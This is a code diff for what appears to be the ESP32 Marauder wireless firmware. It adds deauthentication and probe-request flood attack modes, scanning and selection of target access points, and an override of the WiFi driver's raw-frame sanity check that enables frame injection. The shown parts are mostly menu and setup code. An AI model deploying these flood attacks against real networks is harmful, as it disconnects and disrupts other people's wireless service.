void ap_list_cb(lv_obj_t * btn, lv_event_t event) {
|
||||
extern LinkedList<AccessPoint>* access_points;
|
||||
extern MenuFunctions menu_function_obj;
|
||||
|
||||
String btn_text = lv_list_get_btn_text(btn);
|
||||
String display_string = "";
|
||||
|
||||
if (event == LV_EVENT_CLICKED) {
|
||||
if (btn_text != "Exit") {
|
||||
//lv_list_focus_btn(lv_obj_get_parent(lv_obj_get_parent(btn)), btn);
|
||||
}
|
||||
else {
|
||||
Serial.println("Exiting...");
|
||||
lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
|
||||
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected) {
|
||||
Serial.println("Selected: " + (String)access_points->get(i).essid);
|
||||
}
|
||||
}
|
||||
|
||||
printf("LV_EVENT_CANCEL\n");
|
||||
menu_function_obj.deinitLVGL();
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
|
||||
display_obj.exit_draw = true; // set everything back to normal
|
||||
}
|
||||
}
|
||||
|
||||
if (event == LV_EVENT_VALUE_CHANGED) {
|
||||
if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
|
||||
//Serial.print("Toggle on: ");
|
||||
//Serial.println(btn_text);
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).essid == btn_text) {
|
||||
Serial.println("Adding AP: " + (String)access_points->get(i).essid);
|
||||
AccessPoint ap = access_points->get(i);
|
||||
ap.selected = true;
|
||||
access_points->set(i, ap);
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
//Serial.print("Toggle off: ");
|
||||
//Serial.println(btn_text);
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).essid == btn_text) {
|
||||
Serial.println("Removing AP: " + (String)access_points->get(i).essid);
|
||||
AccessPoint ap = access_points->get(i);
|
||||
ap.selected = false;
|
||||
access_points->set(i, ap);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void MenuFunctions::addSSIDGFX(){
|
||||
extern LinkedList<ssid>* ssids;
|
||||
|
||||
@@ -357,6 +449,9 @@ void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) {
|
||||
|
||||
// Build list of files from the SD card
|
||||
lv_obj_t * list_btn;
|
||||
|
||||
list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Cancel");
|
||||
lv_obj_set_event_cb(list_btn, test_btn_cb);
|
||||
|
||||
while (true) {
|
||||
File entity = scripts.openNextFile();
|
||||
@@ -379,9 +474,6 @@ void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) {
|
||||
}
|
||||
|
||||
scripts.close();
|
||||
|
||||
list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Cancel");
|
||||
lv_obj_set_event_cb(list_btn, test_btn_cb);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -580,6 +672,9 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
// Get the display buffer out of the way
|
||||
if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF ) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
|
||||
//(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST))
|
||||
display_obj.displayBuffer();
|
||||
@@ -612,11 +707,15 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
// Stop the current scan
|
||||
if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_ESPRESSIF) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
|
||||
@@ -641,6 +740,9 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
// Check if any key coordinate boxes contain the touch coordinates
|
||||
// This is for when on a menu
|
||||
if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
|
||||
//(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST))
|
||||
{
|
||||
@@ -983,6 +1085,7 @@ void MenuFunctions::RunSetup()
|
||||
shutdownBLEMenu.list = new LinkedList<MenuNode>();
|
||||
generateSSIDsMenu.list = new LinkedList<MenuNode>();
|
||||
clearSSIDsMenu.list = new LinkedList<MenuNode>();
|
||||
clearAPsMenu.list = new LinkedList<MenuNode>();
|
||||
|
||||
// Work menu names
|
||||
mainMenu.name = " ESP32 Marauder ";
|
||||
@@ -1006,6 +1109,7 @@ void MenuFunctions::RunSetup()
|
||||
shutdownBLEMenu.name = " Shutdown BLE ";
|
||||
generateSSIDsMenu.name = " Generate SSIDs ";
|
||||
clearSSIDsMenu.name = " Clear SSIDs ";
|
||||
clearAPsMenu.name = " Clear APs ";
|
||||
|
||||
|
||||
// Build Main Menu
|
||||
@@ -1083,6 +1187,11 @@ void MenuFunctions::RunSetup()
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_ESPRESSIF, TFT_ORANGE);
|
||||
});
|
||||
addNodes(&wifiSnifferMenu, "Scan APs", TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP, TFT_MAGENTA);
|
||||
});
|
||||
|
||||
// Build WiFi attack menu
|
||||
wifiAttackMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
|
||||
@@ -1104,6 +1213,21 @@ void MenuFunctions::RunSetup()
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW);
|
||||
});
|
||||
addNodes(&wifiAttackMenu, "Probe Req Flood", TFT_RED, NULL, PROBE_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
|
||||
});
|
||||
addNodes(&wifiAttackMenu, "Deauth Flood", TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
|
||||
});
|
||||
//addNodes(&wifiAttackMenu, "AP Mimic Flood", TFT_PURPLE, NULL, DEAUTH_SNIFF, [this]() {
|
||||
// display_obj.clearScreen();
|
||||
// this->drawStatusBar();
|
||||
// wifi_scan_obj.StartScan(WIFI_ATTACK_MIMIC, TFT_PURPLE);
|
||||
//});
|
||||
|
||||
// Build WiFi General menu
|
||||
wifiGeneralMenu.parentMenu = &wifiMenu;
|
||||
@@ -1134,6 +1258,16 @@ void MenuFunctions::RunSetup()
|
||||
changeMenu(&clearSSIDsMenu);
|
||||
wifi_scan_obj.RunClearSSIDs();
|
||||
});
|
||||
addNodes(&wifiGeneralMenu, "Clear APs", TFT_DARKGREY, NULL, CLEAR_ICO, [this]() {
|
||||
changeMenu(&clearAPsMenu);
|
||||
wifi_scan_obj.RunClearAPs();
|
||||
});
|
||||
addNodes(&wifiGeneralMenu, "Select APs", TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
|
||||
display_obj.clearScreen();
|
||||
wifi_scan_obj.currentScanMode = LV_ADD_SSID;
|
||||
wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);
|
||||
addAPGFX();
|
||||
});
|
||||
|
||||
// Build shutdown wifi menu
|
||||
shutdownWiFiMenu.parentMenu = &wifiGeneralMenu;
|
||||
@@ -1152,6 +1286,10 @@ void MenuFunctions::RunSetup()
|
||||
addNodes(&clearSSIDsMenu, "Back", TFT_LIGHTGREY, NULL, 0, [this]() {
|
||||
changeMenu(clearSSIDsMenu.parentMenu);
|
||||
});
|
||||
clearAPsMenu.parentMenu = &wifiGeneralMenu;
|
||||
addNodes(&clearAPsMenu, "Back", TFT_LIGHTGREY, NULL, 0, [this]() {
|
||||
changeMenu(clearAPsMenu.parentMenu);
|
||||
});
|
||||
|
||||
|
||||
// Build Bluetooth Menu
|
||||
|
||||
@@ -90,6 +90,7 @@ PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t e
|
||||
PROGMEM static void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
|
||||
PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
|
||||
PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
|
||||
PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
|
||||
PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
|
||||
|
||||
// lvgl stuff
|
||||
@@ -125,7 +126,7 @@ class MenuFunctions
|
||||
|
||||
uint32_t initTime = 0;
|
||||
|
||||
Menu* current_menu;
|
||||
//Menu* current_menu;
|
||||
|
||||
// Main menu stuff
|
||||
Menu mainMenu;
|
||||
@@ -158,6 +159,7 @@ class MenuFunctions
|
||||
Menu shutdownBLEMenu;
|
||||
Menu generateSSIDsMenu;
|
||||
Menu clearSSIDsMenu;
|
||||
Menu clearAPsMenu;
|
||||
|
||||
static void lv_tick_handler();
|
||||
|
||||
@@ -172,11 +174,12 @@ class MenuFunctions
|
||||
void battery(bool initial = false);
|
||||
void battery2(bool initial = false);
|
||||
void showMenuList(Menu* menu, int layer);
|
||||
void orientDisplay();
|
||||
|
||||
public:
|
||||
MenuFunctions();
|
||||
|
||||
Menu* current_menu;
|
||||
|
||||
Ticker tick;
|
||||
|
||||
uint16_t x = -1, y = -1;
|
||||
@@ -188,6 +191,7 @@ class MenuFunctions
|
||||
void deinitLVGL();
|
||||
void joinWiFiGFX();
|
||||
void addSSIDGFX();
|
||||
void addAPGFX();
|
||||
void writeBadUSB();
|
||||
|
||||
void buildButtons(Menu* menu);
|
||||
@@ -195,6 +199,7 @@ class MenuFunctions
|
||||
void displayCurrentMenu();
|
||||
void main(uint32_t currentTime);
|
||||
void RunSetup();
|
||||
void orientDisplay();
|
||||
};
|
||||
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -2,6 +2,18 @@
|
||||
|
||||
bool SDInterface::initSD() {
|
||||
String display_string = "";
|
||||
|
||||
#ifdef KIT
|
||||
pinMode(SD_DET, INPUT);
|
||||
if (digitalRead(SD_DET) == LOW) {
|
||||
Serial.println(F("SD Card Detect Pin Detected"));
|
||||
}
|
||||
else {
|
||||
Serial.println(F("SD Card Detect Pin Not Detected"));
|
||||
this->supported = false;
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
|
||||
if (!SD.begin(SD_CS)) {
|
||||
Serial.println(F("Failed to mount SD Card"));
|
||||
@@ -167,11 +179,28 @@ void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) {
|
||||
}
|
||||
}
|
||||
|
||||
bool SDInterface::checkDetectPin() {
|
||||
#ifdef KIT
|
||||
if (digitalRead(SD_DET) == LOW)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
#endif
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void SDInterface::main() {
|
||||
if ((this->supported) && (this->do_save)) {
|
||||
//Serial.println("Saving packet...");
|
||||
buffer_obj.forceSave(&SD);
|
||||
}
|
||||
else if (!this->supported) {
|
||||
if (checkDetectPin()) {
|
||||
delay(100);
|
||||
this->initSD();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//void SDInterface::savePacket(uint8_t* buf, uint32_t len) {
|
||||
|
||||
@@ -11,9 +11,14 @@ extern Display display_obj;
|
||||
|
||||
#define SD_CS 12
|
||||
|
||||
#ifdef KIT
|
||||
#define SD_DET 4
|
||||
#endif
|
||||
|
||||
class SDInterface {
|
||||
|
||||
private:
|
||||
bool checkDetectPin();
|
||||
|
||||
public:
|
||||
uint8_t cardType;
|
||||
|
||||
@@ -69,7 +69,7 @@ void Web::setupOTAupdate()
|
||||
Serial.println(wifi_scan_obj.freeRAM());
|
||||
|
||||
Serial.println("Starting softAP...");
|
||||
esp_wifi_set_mac(ESP_IF_WIFI_AP, &newMACAddress[0]);
|
||||
esp_wifi_set_mac(WIFI_IF_AP, &newMACAddress[0]);
|
||||
WiFi.softAP(ssid, password);
|
||||
Serial.println("");
|
||||
|
||||
|
||||
@@ -9,6 +9,15 @@ int num_probe = 0;
|
||||
int num_eapol = 0;
|
||||
|
||||
LinkedList<ssid>* ssids;
|
||||
LinkedList<AccessPoint>* access_points;
|
||||
|
||||
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
|
||||
//printf("Sanity check bypass called!: %d, %d, %d\n", arg, arg2, arg3);
|
||||
if (arg == 31337)
|
||||
return 1;
|
||||
else
|
||||
return 0;
|
||||
}
|
||||
|
||||
class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
|
||||
|
||||
@@ -130,15 +139,33 @@ WiFiScan::WiFiScan()
|
||||
{
|
||||
}
|
||||
|
||||
/*int WiFiScan::ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
|
||||
printf("Sanity check bypass called!\n");
|
||||
return 0;
|
||||
}*/
|
||||
|
||||
void WiFiScan::RunSetup() {
|
||||
if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
|
||||
this->wsl_bypass_enabled = true;
|
||||
else
|
||||
this->wsl_bypass_enabled = false;
|
||||
|
||||
ssids = new LinkedList<ssid>();
|
||||
BLEDevice::init("");
|
||||
pBLEScan = BLEDevice::getScan(); //create new scan
|
||||
access_points = new LinkedList<AccessPoint>();
|
||||
NimBLEDevice::init("");
|
||||
pBLEScan = NimBLEDevice::getScan(); //create new scan
|
||||
this->ble_initialized = true;
|
||||
|
||||
this->shutdownBLE();
|
||||
}
|
||||
|
||||
int WiFiScan::clearAPs() {
|
||||
int num_cleared = access_points->size();
|
||||
access_points->clear();
|
||||
Serial.println("access_points: " + (String)access_points->size());
|
||||
return num_cleared;
|
||||
}
|
||||
|
||||
int WiFiScan::clearSSIDs() {
|
||||
int num_cleared = ssids->size();
|
||||
ssids->clear();
|
||||
@@ -243,6 +270,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
||||
RunEapolScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_AP)
|
||||
RunBeaconScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_TARGET_AP)
|
||||
RunAPScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_PWN)
|
||||
RunPwnScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_DEAUTH)
|
||||
@@ -250,11 +279,20 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
||||
else if (scan_mode == WIFI_PACKET_MONITOR)
|
||||
RunPacketMonitor(scan_mode, color);
|
||||
else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
|
||||
RunBeaconList(scan_mode, color);
|
||||
this->startWiFiAttacks(scan_mode, color, " Beacon Spam List ");
|
||||
//RunBeaconList(scan_mode, color);
|
||||
else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
|
||||
RunBeaconSpam(scan_mode, color);
|
||||
this->startWiFiAttacks(scan_mode, color, " Beacon Spam Random ");
|
||||
//RunBeaconSpam(scan_mode, color);
|
||||
else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
|
||||
RunRickRoll(scan_mode, color);
|
||||
this->startWiFiAttacks(scan_mode, color, " Rick Roll Beacon ");
|
||||
//RunRickRoll(scan_mode, color);
|
||||
else if (scan_mode == WIFI_ATTACK_AUTH)
|
||||
this->startWiFiAttacks(scan_mode, color, " Probe Flood ");
|
||||
//RunProbeFlood(scan_mode, color);
|
||||
else if (scan_mode == WIFI_ATTACK_DEAUTH)
|
||||
this->startWiFiAttacks(scan_mode, color, " Deauth Flood ");
|
||||
//RunDeauthFlood(scan_mode, color);
|
||||
else if (scan_mode == BT_SCAN_ALL)
|
||||
RunBluetoothScan(scan_mode, color);
|
||||
else if (scan_mode == BT_SCAN_SKIMMERS)
|
||||
@@ -269,6 +307,35 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
||||
WiFiScan::currentScanMode = scan_mode;
|
||||
}
|
||||
|
||||
void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
|
||||
// Common wifi attack configurations
|
||||
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||
display_obj.tteBar = true;
|
||||
display_obj.print_delay_1 = 15;
|
||||
display_obj.print_delay_2 = 10;
|
||||
//display_obj.clearScreen();
|
||||
display_obj.initScrollValues(true);
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setTextColor(TFT_BLACK, color);
|
||||
display_obj.tft.fillRect(0,16,240,16, color);
|
||||
display_obj.tft.drawCentreString((String)title_string,120,16,2);
|
||||
display_obj.touchToExit();
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
packets_sent = 0;
|
||||
//esp_wifi_set_mode(WIFI_MODE_STA);
|
||||
//WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_init(&cfg);
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
//WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_set_mode(WIFI_AP_STA);
|
||||
esp_wifi_start();
|
||||
esp_wifi_set_promiscuous_filter(NULL);
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_max_tx_power(78);
|
||||
this->wifi_initialized = true;
|
||||
initTime = millis();
|
||||
}
|
||||
|
||||
bool WiFiScan::shutdownWiFi() {
|
||||
if (this->wifi_initialized) {
|
||||
Serial.println("Ahhh yes...promiscuity will end");
|
||||
@@ -322,6 +389,7 @@ void WiFiScan::StopScan(uint8_t scan_mode)
|
||||
{
|
||||
if ((currentScanMode == WIFI_SCAN_PROBE) ||
|
||||
(currentScanMode == WIFI_SCAN_AP) ||
|
||||
(currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
||||
(currentScanMode == WIFI_SCAN_PWN) ||
|
||||
(currentScanMode == WIFI_SCAN_ESPRESSIF) ||
|
||||
(currentScanMode == WIFI_SCAN_EAPOL) ||
|
||||
@@ -329,6 +397,9 @@ void WiFiScan::StopScan(uint8_t scan_mode)
|
||||
(currentScanMode == WIFI_SCAN_DEAUTH) ||
|
||||
(currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
|
||||
(currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
|
||||
(currentScanMode == WIFI_ATTACK_AUTH) ||
|
||||
(currentScanMode == WIFI_ATTACK_DEAUTH) ||
|
||||
(currentScanMode == WIFI_ATTACK_MIMIC) ||
|
||||
(currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
||||
(currentScanMode == WIFI_PACKET_MONITOR) ||
|
||||
(currentScanMode == LV_JOIN_WIFI))
|
||||
@@ -377,7 +448,7 @@ String WiFiScan::getStaMAC()
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
esp_err_t mac_status = esp_wifi_get_mac(ESP_IF_WIFI_STA, mac);
|
||||
esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
|
||||
this->wifi_initialized = true;
|
||||
sprintf(macAddrChr,
|
||||
"%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
@@ -401,7 +472,7 @@ String WiFiScan::getApMAC()
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
esp_err_t mac_status = esp_wifi_get_mac(ESP_IF_WIFI_AP, mac);
|
||||
esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
|
||||
this->wifi_initialized = true;
|
||||
sprintf(macAddrChr,
|
||||
"%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
@@ -419,11 +490,44 @@ String WiFiScan::getApMAC()
|
||||
String WiFiScan::freeRAM()
|
||||
{
|
||||
char s[150];
|
||||
sprintf(s, "RAM Free: %u bytes", system_get_free_heap_size());
|
||||
this->free_ram = String(system_get_free_heap_size());
|
||||
sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
|
||||
this->free_ram = String(esp_get_free_heap_size());
|
||||
return String(s);
|
||||
}
|
||||
|
||||
// Function to start running a beacon scan
|
||||
void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
|
||||
{
|
||||
sd_obj.openCapture("ap");
|
||||
|
||||
Serial.println("Clearing APs: " + (String)access_points->size());
|
||||
//access_points->clear();
|
||||
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||
display_obj.tteBar = true;
|
||||
display_obj.print_delay_1 = 15;
|
||||
display_obj.print_delay_2 = 10;
|
||||
//display_obj.clearScreen();
|
||||
display_obj.initScrollValues(true);
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setTextColor(TFT_WHITE, color);
|
||||
display_obj.tft.fillRect(0,16,240,16, color);
|
||||
display_obj.tft.drawCentreString(" AP Scan ",120,16,2);
|
||||
display_obj.touchToExit();
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
|
||||
//wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
esp_wifi_init(&cfg);
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_promiscuous_filter(&filt);
|
||||
esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
|
||||
esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
|
||||
this->wifi_initialized = true;
|
||||
initTime = millis();
|
||||
}
|
||||
|
||||
void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
|
||||
|
||||
display_obj.tft.init();
|
||||
@@ -446,6 +550,17 @@ void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
|
||||
//display_obj.joinWiFiGFX();
|
||||
}
|
||||
|
||||
void WiFiScan::RunClearAPs() {
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setFreeFont(NULL);
|
||||
display_obj.tft.setCursor(0, 100);
|
||||
display_obj.tft.setTextSize(1);
|
||||
display_obj.tft.setTextColor(TFT_CYAN);
|
||||
|
||||
display_obj.tft.println(F("Clearing APs..."));
|
||||
display_obj.tft.println("APs Cleared: " + (String)this->clearAPs());
|
||||
}
|
||||
|
||||
void WiFiScan::RunClearSSIDs() {
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setFreeFont(NULL);
|
||||
@@ -531,6 +646,13 @@ void WiFiScan::RunInfo()
|
||||
display_obj.tft.setTextColor(TFT_CYAN);
|
||||
display_obj.tft.println(" Firmware: Marauder");
|
||||
display_obj.tft.println(" Version: " + display_obj.version_number + "\n");
|
||||
display_obj.tft.println(" ESP-IDF: " + (String)esp_get_idf_version());
|
||||
|
||||
if (this->wsl_bypass_enabled)
|
||||
display_obj.tft.println(" WSL Bypass: enabled\n");
|
||||
else
|
||||
display_obj.tft.println(" WSL Bypass: disabled\n");
|
||||
|
||||
display_obj.tft.println(" Station MAC: " + sta_mac);
|
||||
display_obj.tft.println(" AP MAC: " + ap_mac);
|
||||
display_obj.tft.println(" " + free_ram);
|
||||
@@ -679,6 +801,7 @@ void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
|
||||
initTime = millis();
|
||||
}
|
||||
|
||||
/*
|
||||
void WiFiScan::RunRickRoll(uint8_t scan_mode, uint16_t color)
|
||||
{
|
||||
//Serial.println("Rick Roll...");
|
||||
@@ -705,9 +828,10 @@ void WiFiScan::RunRickRoll(uint8_t scan_mode, uint16_t color)
|
||||
initTime = millis();
|
||||
//display_obj.clearScreen();
|
||||
//Serial.println("End of func");
|
||||
}
|
||||
}*/
|
||||
|
||||
// Function to prepare for beacon list
|
||||
/*
|
||||
void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color) {
|
||||
sd_obj.openCapture("beacon_list");
|
||||
|
||||
@@ -736,11 +860,11 @@ void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color) {
|
||||
esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
|
||||
this->wifi_initialized = true;
|
||||
initTime = millis();
|
||||
}
|
||||
/*
|
||||
void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color)
|
||||
{
|
||||
//Serial.println("Beacon list...");
|
||||
}*/
|
||||
|
||||
|
||||
// Function to prepare for beacon mimic
|
||||
void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
|
||||
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||
display_obj.tteBar = true;
|
||||
display_obj.print_delay_1 = 15;
|
||||
@@ -750,7 +874,7 @@ void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color)
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setTextColor(TFT_BLACK, color);
|
||||
display_obj.tft.fillRect(0,16,240,16, color);
|
||||
display_obj.tft.drawCentreString(" Beacon Spam List ",120,16,2);
|
||||
display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
|
||||
display_obj.touchToExit();
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
packets_sent = 0;
|
||||
@@ -769,9 +893,72 @@ void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color)
|
||||
//display_obj.clearScreen();
|
||||
//Serial.println("End of func");
|
||||
}
|
||||
*/
|
||||
|
||||
// Function to prepare for beacon spam
|
||||
/*
|
||||
void WiFiScan::RunProbeFlood(uint8_t scan_mode, uint16_t color) {
|
||||
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||
display_obj.tteBar = true;
|
||||
display_obj.print_delay_1 = 15;
|
||||
display_obj.print_delay_2 = 10;
|
||||
//display_obj.clearScreen();
|
||||
display_obj.initScrollValues(true);
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setTextColor(TFT_BLACK, color);
|
||||
display_obj.tft.fillRect(0,16,240,16, color);
|
||||
display_obj.tft.drawCentreString(" Auth Flood ",120,16,2);
|
||||
display_obj.touchToExit();
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
packets_sent = 0;
|
||||
//esp_wifi_set_mode(WIFI_MODE_STA);
|
||||
//WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_init(&cfg);
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
//WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_set_mode(WIFI_AP_STA);
|
||||
esp_wifi_start();
|
||||
esp_wifi_set_promiscuous_filter(NULL);
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_max_tx_power(78);
|
||||
this->wifi_initialized = true;
|
||||
initTime = millis();
|
||||
//display_obj.clearScreen();
|
||||
//Serial.println("End of func");
|
||||
}*/
|
||||
|
||||
/*
|
||||
void WiFiScan::RunDeauthFlood(uint8_t scan_mode, uint16_t color) {
|
||||
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||
display_obj.tteBar = true;
|
||||
display_obj.print_delay_1 = 15;
|
||||
display_obj.print_delay_2 = 10;
|
||||
//display_obj.clearScreen();
|
||||
display_obj.initScrollValues(true);
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setTextColor(TFT_BLACK, color);
|
||||
display_obj.tft.fillRect(0,16,240,16, color);
|
||||
display_obj.tft.drawCentreString(" Deauth Flood ",120,16,2);
|
||||
display_obj.touchToExit();
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
